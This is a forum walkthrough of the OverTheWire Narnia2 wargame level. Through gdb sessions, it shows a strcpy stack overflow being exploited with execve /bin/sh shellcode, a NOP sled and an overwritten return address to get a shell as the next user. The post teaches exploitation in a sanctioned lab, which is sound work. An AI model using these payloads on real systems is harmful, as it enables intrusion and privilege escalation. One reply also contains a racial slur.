Over The Wire: Narnia2 - Smashing $EIP for fun and free

stack
overthewire
narnia

(123loaded) #1

Over The Wire: Narnia2 - Smashing the stack.

Ok, so from narnia0 and narnia1 we have working shellcode for the narnia servers, and a general understanding of how to smash the stack, irrespectively lol. This time, we are given a real world example (minus ALSR/DEP) of exploiting a program and gaining execution flow to pop a shell and compromise the system. The source code to narnia2.c is as follows:

[email protected]:/games/narnia$ cat narnia2.c
int main(int argc, char * argv[])
{
char buf[128];

if(argc == 1){
printf(“Usage: %s argument\n”, argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);

return 0;
}

Ok, so even if you don’t know any C, this code is extremely basic. First it declares a buffer of 128 characters named buf, makes sure the user is only trying to pass it one argument, else exit, and then copy that argument into our variable buf using strcpy(). Strcpy() is a function in C’s standard library, it copies the contents from one buffer to another buffer, but what is most important to know about strcpy() is that it is one of a handful of functions in C that has no bounds checking. What this means is that you can tell it to copy a 512 byte array into a 100 byte buffer, and it won’t have any issues with that whatsoever (until run time of course :joy:). it will just fill up the destination buffer with the first 100 bytes from the source buffer, and then proceed to write 412 bytes from the source buffer right over whatever values are below the destination buffer on the stack. For this level, we don’t need to know Everything about the stack… but here’s what you need to know.

The stack holds the return address (the last address in memory that code was executing at before it jumped to a new block of memory for a new function), any variables that are passed with the function are actually pushed onto the stack at at the time the function is called, and any fixed-length variables within the function are pushed onto the stack at this time. Now, technically what I described above is a single “stack frame”, and the stack in its entirety usually consists of several stack frames at any given point in time as it grows/shrinks in size depending on how many functions deep you are (and how many variables each of those functions use). Conversely, the heap is the section of memory that a program gets allocated to use for variables of an indeterminate size and it starts at the lowest piece of memory the program is allocated and grows up towards the stack. Ghettofabulous Fig. 1 demonstrates this as ghetto as possible.

                      |        ^        |  lower addresses
                      |        |        |
%esp -stack pointer ->+-----------------+ always points to top of stack
                      |.................|
                      |.local variables.|  accessed with addresses %ebp-# or %esp+#
                      |.................|
%ebp -frame pointer ->+-----------------+ points to the bottom of a single stack frame, which contains the address to return to, usually also %eip
                      |.................|
                      |.................|  older stack frames
                      |.................|
 bottom of the stack->+-----------------+ always points at bottom of stack
                      |       v         |  higher addresses v

Values on the stack are usually referenced to by their offset from $EBP, the local Base Pointer, which points to the bottom of a functions stack, aka the current stack frame, or they’re referenced by their offset from $ESP, the Stack Pointer, which always points to the top of the stack.

The stack grows when we call a function, and decreases in size when we return from a function.

Confused? Good. Nobody makes the jump their first time. Simply attacking this binary without understanding the stack actually can work though, following some basic steps. So I’ll now switch back into basic bitch mode. Let’s whip out our giant python and slap my bitch up.

[email protected]:/games/narnia$ pythong -c ‘print -c “A”*136’ | ./narnia2
No command ‘pythong’ found, did you mean:
Command ‘python’ from package ‘python-minimal’ (main)
pythong: command not found

Fuck, I’ve found this fruedian finger slip one too many times now. Let’s shut it down.

[email protected]:/games/narnia$ alias pythong='python’
[email protected]:/games/narnia$ pythong -c ‘print “A132"’ | ./narnia2
[email protected]:/games/narnia$
[email protected]:/games/narnia$ pythong -c 'print "A
136”’ | ./narnia2
[email protected]:/games/narnia$
[email protected]:/games/narnia$ pythong -c ‘print “A140"’ | ./narnia2
Illegal Instruction.
[email protected]:/games/narnia$ pythong -c 'print "A
144”’ | ./narnia2
Segmentation Fault.

Ok, #gg sauce in and around my mouth. We got a seg fault boyz. Seg faults are the result of a program crashing because it tried to read or write to an inaccessible memory location. If an attacker can somehow know the location it is trying to access and have code there waiting for it or change the address it is trying to access to be the location of your code, a program can be exploited.
When we send the program 132 bytes, it over writes the next 4 bytes on the stack, but this does not actually corrupt anything, so the program exits normally. Same with 136 bytes. 140 causes an illegal instruction (explained later or in next tutorial), and 144 smashes the stack to the point of corrupting the return address, causing the program to try to jump to the memory address 0x41414141 when it returns, which is either an illegal address for that program to be accessing, or an address with garbage data at it, and thus the program seg faults… let us take a close look at what is happening in gdb, the gnu debugger.

[email protected]:/games/narnia$ gdb
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright © 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and “show warranty” for details.
This GDB was configured as “x86_64-linux-gnu”.
Type “show configuration” for configuration details.
For bug reporting instructions, please see:
http://www.gnu.org/software/gdb/bugs/.
Find the GDB manual and other documentation resources online at:
http://www.gnu.org/software/gdb/documentation/.
For help, type “help”.
Type “apropos word” to search for commands related to “word”.
(gdb) file narnia2
Reading symbols from narnia2…(no debugging symbols found)…done.
(gdb) set args $(python -c ‘print “A”*144’)
(gdb) run
Starting program: /games/narnia/narnia2 $(python -c ‘print “A”*144’)

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) set args $(python -c ‘print “A”*143’)
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia2 $(python -c ‘print “A”*143’)

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb) set args $(python -c ‘print “A”*140 + “BCDE”’)
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia2 $(python -c ‘print “A”*140 + “BCDE”’)

Program received signal SIGSEGV, Segmentation fault.
0x45444342 in ?? ()

So, we confirmed that after 140 bytes, the next 4 bytes smash the stack and overwrite the saved instruction pointer $EIP (which in this case is also the local base pointer $EBP, since we are at the outer most stack frame, or “stack frame 0”). We confirmed that we can control this value. So now what?

Now, we want to change that address to be an address that points to a location in memory that we control. And what do we control? We control the input to buf[], so lets find out where buff is in memory. (Note: buff may actually me in a couple places in memory… as long as where it’s at is executable memory, it’s fine.)

(gdb) x/40x $esp-0x14
0xffffd63c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd64c: 0x45444342 0x00000000 0xffffd6e4 0xffffd6f0
0xffffd65c: 0xf7feacca 0x00000002 0xffffd6e4 0xffffd684
0xffffd66c: 0x08049768 0x0804821c 0xf7fc9000 0x00000000
0xffffd67c: 0x00000000 0x00000000 0xb433f6ed 0x8cea72fd
0xffffd68c: 0x00000000 0x00000000 0x00000000 0x00000002
0xffffd69c: 0x08048360 0x00000000 0xf7ff04c0 0xf7e3b9e9
(gdb) x/50x $esp-0x100
0xffffd550: 0xf7fcd2e8 0xf7fcd000 0xffffd574 0x08049758
0xffffd560: 0x0804821c 0x080481bc 0x00000000 0x00000000
0xffffd570: 0x00000000 0xf7e286d4 0xf7e6532b 0xf7fc9000
0xffffd580: 0x00000000 0x00000000 0xffffd648 0xf7e6edff
0xffffd590: 0xf7fc9ac0 0x08048574 0xffffd5b4 0xf7e6edd0
0xffffd5a0: 0xffffd5c0 0xf7ffd938 0xf7fc9000 0x080484bc
0xffffd5b0: 0x08048574 0xffffd5c0 0x00000000 0x00000000
0xffffd5c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd600: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd610: 0x41414141 0x41414141
(gdb) x/50x $esp-0xdc
0xffffd574: 0xf7e286d4 0xf7e6532b 0xf7fc9000 0x00000000
0xffffd584: 0x00000000 0xffffd648 0xf7e6edff 0xf7fc9ac0
0xffffd594: 0x08048574 0xffffd5b4 0xf7e6edd0 0xffffd5c0
0xffffd5a4: 0xf7ffd938 0xf7fc9000 0x080484bc 0x08048574
0xffffd5b4: 0xffffd5c0 0x00000000 0x00000000 0x41414141
0xffffd5c4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5d4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5e4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5f4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd604: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd614: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd624: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd634: 0x41414141 0x41414141
(gdb) x/50x $esp-0xcc
0xffffd584: 0x00000000 0xffffd648 0xf7e6edff 0xf7fc9ac0
0xffffd594: 0x08048574 0xffffd5b4 0xf7e6edd0 0xffffd5c0
0xffffd5a4: 0xf7ffd938 0xf7fc9000 0x080484bc 0x08048574
0xffffd5b4: 0xffffd5c0 0x00000000 0x00000000 0x41414141
0xffffd5c4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5d4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5e4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5f4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd604: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd614: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd624: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd634: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd644: 0x41414141 0x41414141
(gdb) x/50x $esp-0xac
0xffffd5a4: 0xf7ffd938 0xf7fc9000 0x080484bc 0x08048574
0xffffd5b4: 0xffffd5c0 0x00000000 0x00000000 0x41414141
0xffffd5c4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5d4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5e4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5f4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd604: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd614: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd624: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd634: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd644: 0x41414141 0x41414141 0x45444342 0x00000000
0xffffd654: 0xffffd6e4 0xffffd6f0 0xf7feacca 0x00000002
0xffffd664: 0xffffd6e4 0xffffd684

Ok, so we can clearly see our buffer of A’s. I went ahead and used gdb’s “x” command which examines memory at a given register or address. The “/50x” after the “x” tells gdb to print 50 WORDS (or 50 units of this architecture’s default register size, in our case 32 bits = 4 bytes) in hex. Doing “x/50s $esp” would print 50 WORDS from $esp and list their values on the right as string. While way more readable, I recommend you get used to spotting hex values for your own benefit. The “$esp-0xac” is the address from which I want to examine 50 words. Unfortunately, at this point in our program, the stack has already popped off everything, so it is no longer pointing at 128 bytes + 4 bytes for int argc + 4bytes for char* argv[] + 4 bytes for saved $ebp. It is now pointing way lower at either saved $ebp or $eip, so we need to look at a lower memory address (look higher up if you envision it as a graph that you’re looking at and everything is writing downwards towards higher addresses). Examining the memory, we see that our buffer appears to start around 0xffffd5c0.
Ok, so now lets imagine what input we’re going to send to narnia2 and what its buffer is going to need to look like:

i-------------------------------------------------------------------------------------|
|-- shellcode --|-- garbage data print “A” --|-- address of shellcode --|
i-------------------------------------------------------------------------------------|

We refer to the entire chunk of data we are sending as our payload. This is our payload, totallying 144 bytes. The last 4 bytes must be the address to the start of our shellcode (which is the start of the buffer), and shellcode + garbage data must be equal to 140 bytes. So garbage data = 140 - shellcode.

Let us get the length of our shellcode. We have our k̶n̶o̶w̶n̶ ̶w̶o̶r̶k̶i̶n̶g̶ (LOL) shellcode from narnia1 so we just need to find its length. We’re lazy though and wouldn’t want to terminate our gdb session… in order to execute bash commands within gdb, use ! at the beginning of the line.

(gdb) !python -c 'print len("\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")'
49
(gdb) set args $(pythong -c ‘print “\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43” + “A”*91 + “\xc0\xd5\xff\xff”’)
(gdb) run

Starting program: /games/narnia/narnia2 $(pythong -c ‘print “\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43” + “A”*91 + “\xc0\xd5\xff\xff”’)
���������������������^1��F[Inferior 1 (process 25969) exited normally]

Hmmmm… peculiar. It seems to have run, but not popped a shell… This should have worked. Memory is tricky sometimes, maybe it landed in the middle of this shellcode and since the whole thing didn’t get ran it didn’t work… Let’s try putting a nopsled at the front in case we math’d wrong. (Note: lots of my asterixs and shit just disappear so you can’t quite just copy paste this and have to understand what is going on to do it on your own… any questions send me a message or yell at me in IRC)

(gdb) set args $(python -c ‘print “\x90”*51 + “\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43” + "\xc8\xd5\xff\xff"11’)
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /bin/dash $(python -c ‘print “\x90”*51 + “\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43” + “\xc0\xd5\xff\xff”*11’)
Error in re-setting breakpoint 1: No symbol “main” in current context.
Error in re-setting breakpoint 1: No symbol “main” in current context.
Error in re-setting breakpoint 1: No symbol “main” in current context.
Error in re-setting breakpoint 1: No symbol “main” in current context.
/bin/dash: 0: Can’t open ����������������������������������������������������^1��F
[Inferior 1 (process 28745)

Hmmmm, so I added a nopsled and it still didn’t work. I added a nopsled and spammed my retrun address 11 times (bytes 100 to 144) to make sure that I wasn’t math’ing that wrong either… Check back here sometime for another installment of why shit works here and not there, where I figure this one out. But for now, lets just grab new shellcode…

And fuck that whole process of looking everywhere for it… let’s just see what other people used in narnia tutorials around the web so I don’t pull my hair out.
Ok, the most used shellcode that works reliably in exploits is:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

So lets try that again, shall we?

(gdb) !python -c 'print len("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'
25

140 - 25 = 115 garbage bytes.

(gdb) set args $(python -c 'print “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80” + “A”*115 “\xc8\xd5\xff\xff”)
(gdb) run
Breakpoint 1, 0x080484c1 in main ()
(gdb) c
Continuing.
process 27690 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
Error in re-setting breakpoint 1: No symbol “main” in current context.
Error in re-setting breakpoint 1: No symbol “main” in current context.
Error in re-setting breakpoint 1: No symbol “main” in current context.
$ ls
narnia0 narnia1 narnia2 narnia3 narnia4 narnia5 narnia6 narnia7 narnia8
narnia0.c narnia1.c narnia2.c narnia3.c narnia4.c narnia5.c narnia6.c narnia7.c narnia8.c
$whoami
narnia2
$exit
(gdb)

At this point I had inserted a breakpoint earlier to see what was going on (I had previously too but didn’t mention anything). We’ll go wayyyyy more in depth with gdb in the future to see just how powerful and useful it can be when debugging. But for now, this is all you need to know. Unfortuntely, our exploit breaks out of narnia2 binary, but gains privileges of the user running gdb, which is narnia2. So we have to do this outside of gdb for it to work correctly. Sometimes some things don’t work correctly in gdb, as their are certain Op codes reserved for certain tasks in gdb… which is highly likely why that shellcode worked in narna1 and then not in narnia2. All that’s left to do is insert our payload into narnia2 and grab the password to narnia3. Science, Bitches.

(gdb) quit
[email protected]:/games/narnia$ ./narnia2 $(python -c ‘print “\x90”*75 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80” + “\xc8\xd5\xff\xff”*11’)
$
$ whoami
narnia3
$ cd /etc/narnia_pass/
$ ls
narnia0 narnia2 narnia4 narnia6 narnia8
narnia1 narnia3 narnia5 narnia7 narnia9
$ cat narnia3


#2

missed u famalam i see you’re busy educating! hope to see you soon. very informative tut


#3

argc counts the number of command line arguments including the string of the executable (i.e. arg[0]). The program will exit itself if there are no extra command line arguments.


#4

Mate, love the series! I love how you describe everything so well. Good job! I’ll be looking forward to your other tuts!


(123loaded) #5

LoL, yeah you’re absolutely correct. Tbh I didn’t even really look at that piece of code. Glossed right over it and was just kind of commenting on what I thought it was doing lol. Thx for the in-depth analysis though! Glad some peeps are reading these! <3


(123loaded) #6

LoLoLoLoL, you too boo. Happy early bday my nigga. <3


(pico) #7

Good post!

I will keep it hidden so, in case you want to figure it out yourself I do not spoil it :wink:

The first shellcode contains a couple of \x0a. This is a newline character. When passing that string as a command-line parameter the shellcode string gets broken at that character and therefore you never overflow the buffer.


(Command-Line Ninja) #8

BRUH. This tutorial is so dope. I loved the addition of comedy, it made me smile all the way through reading this.

When I first saw the code I knew this was going to be a good tutorial. Good old stack buffer overflow. Nice job!


(system) #9

This topic was automatically closed after 30 days. New replies are no longer allowed.